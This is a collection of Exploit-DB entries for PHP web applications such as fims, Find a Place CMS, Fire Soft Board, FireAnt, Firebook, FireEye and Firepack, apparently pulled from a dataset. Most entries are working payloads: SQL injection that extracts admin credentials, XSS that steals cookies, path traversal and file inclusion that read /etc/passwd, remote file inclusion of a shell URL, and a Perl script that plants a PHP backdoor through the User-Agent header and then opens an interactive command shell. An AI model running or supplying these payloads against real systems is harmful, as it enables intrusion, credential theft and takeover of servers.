deardaniel/secdata-raw huggingface dataset:
Exploit-DB #18003
Description: fims File Management System 1.2.1a - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2011-10-20
Author: Skraps

Exploit:
# Exploit Title: fims - File Management System <= 1.2.1a SQL Injection and  Vulnerability
# Date: 2011-10-19
# Author: Skraps (jackie.craig.sparks(at)live.com jackie.craig.sparks(at)gmail.com @skraps_foo)
# Software Link: http://fims.codeplex.com/
# Version: 1.2.1a (tested)


---------------
PoC (POST or GET data)
---------------
curl --data "l=help@juno.com&password=word') or id=ABS('1" http://127.0.0.1/fims/?p=1
 
wget "http://127.0.0.1/fims/index.php?f={anyfile number}"

---------------
Vulnerable code
---------------
Line 18 of index.php:
  if (login($g_db, $_REQUEST[email], $_REQUEST[password]))
Line 117 of functions.php:
        function login($db, $email, $password)
        {
                $rs = $db->execute("select * from fims_user where email='$email' and password=md5('$password')");
                if ($db->numrows($rs)>0) return true;
                else return false;
        }

Line 51 of index.php:
                if (isset($_REQUEST[f]))
                {
                        assert(is_numeric($_REQUEST[f]));
                        $file = get_file_data($g_db, $_REQUEST[f]);
                        header("Accept-Ranges: bytes");
                        header("Content-Length: ".filesize("files/".$file[id]));
                        header("Content-Type: {$file[mime]}");
                        header("Content-Disposition: inline; filename=\"{$file['label']}\";");
                        readfile("files/".$file[id]);
                }
Exploit-DB #41095
Description: Finance Website Script - SQL Injection
Type: webapps
Platform: php
Date: 2017-01-18
Author: Ihsan Sencan

Exploit:
# # # # # 
# Vulnerability: SQL Injection
# Date: 18.01.2017
# Vendor Homepage: http://www.scriptgiant.com/
# Script Name: Finance Website Script
# Script Buy Now: http://www.popularclones.com/products/Finance-Website-Script
# Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/user.profile.php?uid=[SQL]
# E.t.c.... Other files, too. SQL There are security vulnerabilities.
# # # # #
Exploit-DB #46418
Description: Find a Place CMS Directory 1.5 - 'assets/external/data_2.php cate' SQL Injection
Type: webapps
Platform: php
Date: 2019-02-19
Author: Deyaa Muhammad

Exploit:
# Exploit Title: Find a Place CMS Directory 1.5 - 'assets/external/data_2.php cate' SQL Injection
# Google Dork: inurl:"assets/external/data.php"
# Date: 14 Feb 2019
# Exploit Author: Deyaa Muhammad
# Author EMail: contact [at] deyaa.me
# Author Blog: http://deyaa.me
# Vendor Homepage: https://themerig.com/
# Software Link: https://codecanyon.net/item/locations-multipurpose-cms-directory-theme/21098597
# Demo Website: https://themerig.com/find/
# Version: 1.5
# Tested on: WIN7_x68/Linux
# CVE : N/A

# Description:
----------------------
Find a Place CMS Directory 1.5 suffers from a SQL Injection vulnerability.

# POC:
----------------------
1. Access the following path https://[PATH]/assets/external/data_2.php
2. You can perform a "Generic UNION query" and extract admin credentials by sending a "POST" request using the payload below
cate=2.9') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,concat(username,0x3a3a,password,0x3a3a,email),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM users limit 1-- -

# Request:
----------------------
POST /find/assets/external/data_2.php HTTP/1.1
Host: server
Connection: close
Content-Length: 251
Accept: application/json, text/javascript, */*; q=0.01
Origin: https://themerig.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: https://server/find/index.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

cate=2.9') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,concat(username,0x3a3a,password,0x3a3a,email),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM users limit 1-- -


# Response:
----------------------
HTTP/1.1 200 OK
X-Powered-By: PHP/5.6.40
Set-Cookie: PHPSESSID=1sml2ou7o5e379b05l3q0iscq1; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
Content-Length: 227
Vary: Accept-Encoding
Date: Fri, 15 Feb 2019 03:09:26 GMT
Accept-Ranges: bytes
Server: LiteSpeed
Alt-Svc: quic=":443"; ma=2592000; v="35,39,43"
Connection: close

{"data":[{"id":null,"category":null,"title":null,"address":null,"latitude":null,"longitude":null,"marker_color":null,"feaured":null,"marker_image":[""],"featured":"admin::4db50f86732e926e59d306cff063d568::themerig@server"}]}
Exploit-DB #46145
Description: Find a Place CMS Directory 1.5 - SQL Injection
Type: webapps
Platform: php
Date: 2019-01-14
Author: Ihsan Sencan

Exploit:
# Exploit Title: Locations CMS 1.5 - SQL Injection
# Dork: N/A
# Date: 2019-01-13
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://themerig.com/
# Software Link: https://codecanyon.net/item/locations-multipurpose-cms-directory-theme/21098597
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/detail.php?title=&id=[SQL]
# 

GET /[PATH]/detail.php?title=&id=2%27||(SeleCT%20%27Efe%27%20FroM%20duAL%20WheRE%20110=110%20AnD%20(seLEcT%20112%20frOM(SElecT%20CouNT(*),ConCAT(CONcat(0x203a20,UseR(),DAtaBASe(),VErsION()),(SeLEct%20(ELT(112=112,1))),FLooR(RAnd(0)*2))x%20FROM%20INFOrmatION_SchEMA.PluGINS%20grOUp%20BY%20x)a))||%27 HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=3peclhdno4t80jmagl0gurf1o4
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
X-Powered-By: PHP/5.6.39
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
Content-Length: 255
Content-Encoding: br
Vary: Accept-Encoding
Date: Sun, 13 Jan 2019 15:59:33 GMT
Accept-Ranges: bytes
Server: LiteSpeed
Alt-Svc: quic=":443"; ma=2592000; v="35,39,43"
Connection: close

# POC: 
# 2)
# http://localhost/[PATH]/blog_detail.php?title=&id=[SQL]
# 

GET /[PATH]/blog_detail.php?title=&id=1%27%20%50%72%6f%63%65%64%75%72%65%20%41%6e%61%6c%79%73%65%20%28%65%78%74%72%61%63%74%76%61%6c%75%65%28%30%2c%63%6f%6e%63%61%74%28%30%78%32%37%2c%30%78%33%61%2c%40%40%76%65%72%73%69%6f%6e%29%29%2c%30%29%2d%2d%20%2d HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=3peclhdno4t80jmagl0gurf1o4
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
X-Powered-By: PHP/5.6.39
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
Content-Length: 214
Content-Encoding: br
Vary: Accept-Encoding
Date: Sun, 13 Jan 2019 16:02:16 GMT
Accept-Ranges: bytes
Server: LiteSpeed
Alt-Svc: quic=":443"; ma=2592000; v="35,39,43"
Connection: close
Exploit-DB #40011
Description: FinderView - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2016-06-23
Author: HaHwul

Exploit:
# Exploit Title: FinderView - Multiple Vulnerability(Path Traversal/Reflected XSS)
# Date: 2016-06-23
# Exploit Author: HaHwul
# Exploit Author Blog: www.hahwul.com
# Vendor Homepage: https://github.com/proin/
# Software Link: https://github.com/proin/FinderView/archive/master.zip
# Version: Latest commit
# Tested on: Debian [wheezy]

### Vulnerability1 - Path Traversal(view directory)
Request
GET /vul_test/FinderView/api.php?callback=jQuery[PII_REDACTED][PII_REDACTED]_[PII_REDACTED]25&type=get&mode=0&folder=Li4vLi4vLi4vLi4vLi4vLi4vZXRjLw==&_=[PII_REDACTED]27 HTTP/1.1
Host: 127.0.0.1
..snip..
Connection: keep-alive

Response
jQuery[PII_REDACTED][PII_REDACTED]_[PII_REDACTED]25([{"folders":[{"name":"backups","folderuri":"Li4vLi4vLi4vLi4vYmFja3Vwcw==","folderuri_nobase":"../../../../backups","size":"0.0 KB","date":"15 June 2016"},
..snip..
,{"name":"opt","folderuri":"Li4vLi4vLi4vLi4vb3B0","folderuri_nobase":"../../../../opt","size":"0.0 KB","date":"26 August 2015"},{"name":"run","folderuri":"Li4vLi4vLi4vLi4vcnVu","folderuri_nobase":"../../../../run","size":"0.0 KB","date":"23 June 2016"},{"name":"spool","folderuri":"Li4vLi4vLi4vLi4vc3Bvb2w=","folderuri_nobase":"../../../../spool","size":"0.0 KB","date":"26 August 2015"},{"name":"tmp","folderuri":"Li4vLi4vLi4vLi4vdG1w","folderuri_nobase":"../../../../tmp","size":"0.0 KB","date":"23 June 2016"},{"name":"www","folderuri":"Li4vLi4vLi4vLi4vd3d3","folderuri_nobase":"../../../../www","size":"0.0 KB","date":"22 January

### Vulnerability2 - Reflected XSS
http://127.0.0.1/vul_test/FinderView/api.php?callback=jQuery[PII_REDACTED][PII_REDACTED]6_[PII_REDACTED]79}}1c027%3Cscript%3Ealert%281%29%3C%2fscript%3Ecf2ea&type=get&mode=0&_=[PII_REDACTED]80
Exploit-DB #12563
Description: Fiomental & Coolsis Backoffice - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-05-10
Author: MasterGipy

Exploit:
      ______                _       _   _             
      | ___ \              | |     | | (_)            
      | |_/ /_____   _____ | |_   _| |_ _  ___  _ __  
      |    // _ \ \ / / _ \| | | | | __| |/ _ \| '_ \   
      | |\ \  __/\ V / (_) | | |_| | |_| | (_) | | | |   
      \_| \_\___| \_/ \___/|_|\__,_|\__|_|\___/|_| |_| 

        _____                      _____  _____ 
       |_   _|                    |  _  ||  _  |
         | | ___  __ _ _ __ ___   | |/' || |_| |
         | |/ _ \/ _` | '_ ` _ \  |  /| |\____ |
         | |  __/ (_| | | | | | | \ |_/ /.___/ /
         \_/\___|\__,_|_| |_| |_|  \___/ \____/
         
                           DEFACEMENT it's for script kiddies...
_____________________________________________________________
   
[$] Exploit Title     : Fiomental & Coolsis Backoffice Multi Vulnerability
[$] Date              : 10-05-2010            
[$] Author            : MasterGipy
[$] Email             : mastergipy [at] gmail.com
[$] Bug               : Multi Vulnerability
[$] Site              : http://www.fiomental.com/
[$] Google Dork       : "Desenvolvido por: Fio Mental" or
                        "Desenvolvido por: coolsis"


[%] vulnerable file: index.php


[BLIND SQL INJECTION]

[$] Exploit:

[+] http://example.pt/?cod=1  <- SQL
[+] sql_1: -1' UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10 and '1'='1
[+] sql_2: -1' UNION ALL SELECT 1,2,3,load_file(0x2F6574632F[PII_REDACTED]64),5,6,7,8,9,10 and '1'='1



[XSS]

[+] http://[site]/index.php/>"><script>alert(/LOL/)</script>


[%] vulnerable file: /admin/index2.php


[REMOTE ARBITRARY UPLOAD VULNERABILITY]

[$] Exploit:

<html>
<form action="http://<-- CHANGE HERE -->/admin/index2.php?sc=up1&ac=a1" method="post" enctype="multipart/form-data" name="form1">
<p align="center">
<input name="ficheiro" type="file" class="file" id="ficheiro"> 
<input name="ok" type="submit" class="button" id="ok" value="OK">
</p>
<p align="center">(only gif png jpg are allowed) </p>
<p align="center">Files go to:  http://example.pt/uploads/your_file.php.png</p>
</form>
</html>


[XSS]

[$] http://[site]/admin/index2.php?&cod=1&ac=a1&tituloSc=<script>alert(/LOL/)</script>
(you need to login for this one)



[%] EXTRA:

[$] Admin Panel Password Algorithm 

<?php
$login = "test";
$pass = "test";

$total = md5(($login . 'fiomental').(md5($pass)));
// md5($salt.md5($pass)
echo "$total"; // This will Print the password Hash.
?>



[§] Greetings from PORTUGAL ^^
Exploit-DB #17522
Description: Fire Soft Board 2.0.1 - Persistent Cross-Site Scripting (Admin Panel)
Type: webapps
Platform: php
Date: 2011-07-12
Author: _jill for A-S

Exploit:
# Exploit Title: Fire Soft Board <= 2.0.1 Persistent XSS Vulnerability (admin panel)
# Date: 2011-07-11
# Author: _jill for A-S
# Software Link: http://www.fire-soft-board.com/index.php?p=download&mode=cat&id=2
# Version: 2.0.1

There is a vulnerability on Fire Soft Board forums due to a non-sanitization of the $_SERVER['HTTP_USER_AGENT'] variable from every client
(even visitors) of the site. This variable is printed as a span title in the admin panel overview witch can lead to a session hijack or 
bEEf exec or whatever you want.

PoC : - modify your user agent by something like : "><script>alert(document.cookie)</script><span title="
      - go to any page of the forum
      - login into your admin panel -> popup with your cookies :-)

Fix : upgrade to last release (2.0.2)

-= Greatz to x =-
Exploit-DB #2319
Description: Fire Soft Board RC 3 - 'racine' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-07
Author: ddoshomo

Exploit:
# ERNE ---- ERNEALiZM ---- BU ASK BiTMEZ----
 
# Fire Soft Board - Remote File Include Vulnerabilities
 
# site    : http://www.comscripts.com/jump.php?action=script&id=1689&SID=b8a60b0cb6352bc4e545abf0dd4ea90d
 
# Script  :  Fire Soft Board
 
# Credits : ERNE
 
# Contact : erne@ernealizm.com  and irc.gigachat.net #kurdhack
 
# Thanks  : BLaCKWHITE, B0tan, FearLesS, B3g0k, Liz0zim, EntRiKa, Dj_Remix, Di_Lejyoner
 
# Vulnerable :
 
     http://www.site.com/[path]/demarrage.php?racine=[shell]

# milw0rm.com [2006-09-07]
Exploit-DB #5871
Description: FireAnt 1.3 - 'index.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-06-20
Author: cOndemned

Exploit:
###################################################################################
#
#   Name   : FireAnt v1.3 Local File Inclusion Vulnerability
#   Author : cOndemned
#   Dork   : use Your brain (:
#   Greetz : ZaBeaTy, str0ke, GregStar, irk4z, Sandtalker & Avantura ;**
#
###################################################################################

Source :

    // index.php

    8.      $page = "bug_list"; //default page
    9.      if (!empty($_GET['page'])) {
    10.         $page = strip_tags($_GET['page']);
    
    99.             if (file_exists("./".$page.".php")) { 
    
    104.                include("./".$page.".php"); 

    
Proof of Concept :

    http://[host]/[FireAnt1.3]/index.php?page=../../../../etc/passwd%00
    http://[host]/[FireAnt1.3]/index.php?page=../../../../[local_file]%00

# milw0rm.com [2008-06-20]
Exploit-DB #35312
Description: Firebook - 'index.html' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-02-03
Author: MustLive

Exploit:
source: https://www.securityfocus.com/bid/46143/info

Firebook is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting these issues will allow an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site and steal cookie-based authentication credentials. 

http://www.example.com/env/index.html?[xss]
Exploit-DB #34157
Description: Firebook - Multiple Cross-Site Scripting / Directory Traversal Vulnerabilities
Type: webapps
Platform: php
Date: 2010-06-17
Author: MustLive

Exploit:
source: https://www.securityfocus.com/bid/40941/info

Firebook is prone to multiple cross-site scripting vulnerabilities and directory-traversal vulnerabilities because it fails to sufficiently sanitize user-supplied input.

Exploiting these issues will allow an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, and to view arbitrary local files and directories within the context of the webserver. This may let the attacker steal cookie-based authentication credentials and other harvested information may aid in launching further attacks. 

http://www.example.com/path_to_firebook_admin/?URLproxy=%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/guestbook/index.html?answer=%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/guestbook/index.html?answer=guestbook/guest/file.html;page=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/path_to_firebook_admin/?param=1;show=../.htaccess;
http://www.example.com/guestbook/index.html?answer=guestbook/guest/%2E%2E/index.html
Exploit-DB #4580
Description: FireConfig 0.5 - 'dl.php' Remote File Disclosure
Type: webapps
Platform: php
Date: 2007-10-28
Author: GoLd_M

Exploit:
FireConfig v0.5 (dl.php file) Remote File Disclosure Vulnerability
http://heanet.dl.sourceforge.net/sourceforge/fireconfig/fireconfig_v0.5.tar.gz
POC :
  /dl.php?file=../../../../../../etc/passwd%00

# milw0rm.com [2007-10-28]
Exploit-DB #38090
Description: FireEye Appliance - Unauthorized File Disclosure
Type: webapps
Platform: php
Date: 2015-09-06
Author: Kristian Erik Hermansen

Exploit:
Just one of many handfuls of FireEye / Mandiant 0day. Been sitting on this for more than 18 months with no fix from those security "experts" at FireEye. Pretty sure Mandiant staff coded this and other bugs into the products. Even more sad, FireEye has no external security researcher reporting process.

FireEye appliance, unauthorized remote root file system access. Oh cool, web server runs as root! Now that's excellent security from a _security_ vendor :) Why would you trust these people to have this device on your network?!?!?

https://fireeyeapp/script/NEI_ModuleDispatch.php?module=NEI_AdvancedConfig&function=HapiGetFileContents&name=../../../../../../../../../../../etc/passwd&extension=&category=operating%20system%20logs&mode=download&time=...&mytoken=...

...

root:aaaaa:16209:0:99999:7:::
bin:*:15628:0:99999:7:::
daemon:*:15628:0:99999:7:::
adm:*:15628:0:99999:7:::
lp:*:15628:0:99999:7:::
sync:*:15628:0:99999:7:::
shutdown:*:15628:0:99999:7:::
halt:*:15628:0:99999:7:::
mail:*:15628:0:99999:7:::
uucp:*:15628:0:99999:7:::
operator:*:15628:0:99999:7:::
games:*:15628:0:99999:7:::
gopher:*:15628:0:99999:7:::
ftp:*:15628:0:99999:7:::
nobody:*:15628:0:99999:7:::
vcsa:!!:16209::::::
rpc:!!:16209:0:99999:7:::
saslauth:!!:16209::::::
postfix:!!:16209::::::
rpcuser:!!:16209::::::
nfsnobody:!!:16209::::::
apache:!!:16209::::::
ntp:!!:16209::::::
lighttpd:!!:16209::::::
sshd:!!:16209::::::
mailnull:!!:16209::::::
smmsp:!!:16209::::::
openvpn:!!:16209::::::
tcpdump:!!:16209::::::
applianceuser:<redacted>:16209:0:99999:7:::
rproxy:aaaaa:16209:0:99999:7:::
sfserver:aaaaa:16209:0:99999:7:::
provisioning:aaaaa:16209:0:99999:7:::
upgrayedd:aaaaa:16209:0:99999:7:::
sftasker:aaaaa:16209:0:99999:7:::
felistener:aaaaa:16209:0:99999:7:::
lighthouse:aaaaa:16209:0:99999:7:::
crlfactory:aaaaa:16209:0:99999:7:::
panlistener:aaaaa:16209:0:99999:7:::
fireeye:<redacted>:16209:0:99999:7:::

--
Kristian Erik Hermansen (@h3rm4ns3c)
https://www.linkedin.com/in/kristianhermansen
Exploit-DB #3805
Description: Firefly 1.1.01 - 'doc_root' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-04-26
Author: Alkomandoz Hacker

Exploit:
# firefly 1.1.01 <=  Remote File Include Vulnerablitiy
# D.Script: http://fresh.t-systems-sfr.com/unix/src/privat2/firefly-1.1.01.tar.gz
# Discovered by: Alkomandoz Hacker
# Homepage: asb-may.net & mohandko.com & sniper-sa.com & Tryag.com

====================================
# Exploit:[Path]/modules/admin/include/localize.php?doc_root=Shell
# Exploit:[Path]/modules/admin/include/config.php?doc_root=Shell

====================================

# Greetz To:   AsbMay's Group & City Of Ghosts Team & Sniper-sa Team & No4Hard

# milw0rm.com [2007-04-26]
Exploit-DB #8075
Description: Firepack - '/admin/ref.php' Remote Code Execution
Type: webapps
Platform: php
Date: 2009-02-18
Author: Lidloses_Auge

Exploit:
#!/usr/bin/perl
#
# Firepack - Remote Command\Code Execution Exploit
#
# Firepack is a web atting toolkit often used in 2008, when the most
# versions of it were published. A short time ago i looked though the
# sourcecode and noticed that Vulnerability which can be used
# if the admin doesn't use a .htaccess protection in his admin area.
# WARNING: When accessing the index.php, malware could be executed
# so i recommend to execute it in a virtual environment.
# Username and password are located in config.php in the main folder

print("
################################################

Firepack - Remote Command/Code Execution Exploit

Date:                        17.02.2009
Vulnerability discovered by: Lidloses_Auge
Exploit coded by:            Lidloses_Auge
Greetz to:                   -=Player=- , Suicide,
                             g4ms3, enco, Palme, GPM, 
                             karamble, Free-Hack

################################################

Use:

1) Your enemy

	URL (e.g. http://localhost/FirePack/)
	
2) Weapons

	1 = Remote Command Execution (OS Commands)
	2 = Remote Code Execution (PHP Commands)

################################################

Select the enemy now:

\t");
$enemy = <STDIN>;
$enemy = substr($enemy,0,length($enemy)-1);
print "\nChoose your weapon!\n\n\t";
$choice = <STDIN>;
$choice = substr($choice,0,length($choice)-1);

if ($choice == 1 | $choice == 2) {
	print "\n>>> Entering the ship!";
	use LWP::Simple;
	use LWP::UserAgent;
	my $ua = LWP::UserAgent->new;
	$param[0] = "cmd";
	$param[1] = "code";
	$param[2] = "system";
	$param[3] = "eval";
	$code = "<?php if(isset(\$_GET['$param[$choice-1]'])){echo 'fp_$param[$choice-1]1';$param[$choice+1](\$_GET['$param[$choice-1]']);echo 'fp_$param[$choice-1]2';die;} ?>";
	$ua->agent($code);
	$req = HTTP::Request->new(GET => $enemy."index.php");
	$req->header('Accept' => 'text/html');
	$res = $ua->request($req);
	if (!($res->is_success)) {
		print "\nFailed! Wrong enemy dude?\n";
	} else {
		print "\nWelcome aboard, warrior! Try some commands ('quit' to exit):";
		$splitlen = length("fp_".$param[$choice-1])+1;
		$key = "fp_".$param[$choice-1];
		while (substr($cmd,0,length($cmd)-1) ne "quit") {
			print "\n\n>Do: ";
			$cmd = <STDIN>;
			if (substr($cmd,0,length($cmd)-1) ne "quit") {
				$src = get($enemy."admin/ref.php?$param[$choice-1]=$cmd");
				print "\n".substr($src,index($src,$key."1")+$splitlen,index($src,$key."2")-index($src,$key."1")-$splitlen);
			}
		}
	}
} else {
	print "\nWanna fight without weapon? No way dude!";
}

# milw0rm.com [2009-02-18]
Exploit-DB #30510
Description: Firesoft - 'Class_TPL.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-08-20
Author: DarKdewiL

Exploit:
source: https://www.securityfocus.com/bid/25366/info

Firesoft is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible. 

http://www.example.com/path/includes/class/class_tpl.php?cache_file=http://SHELLURL?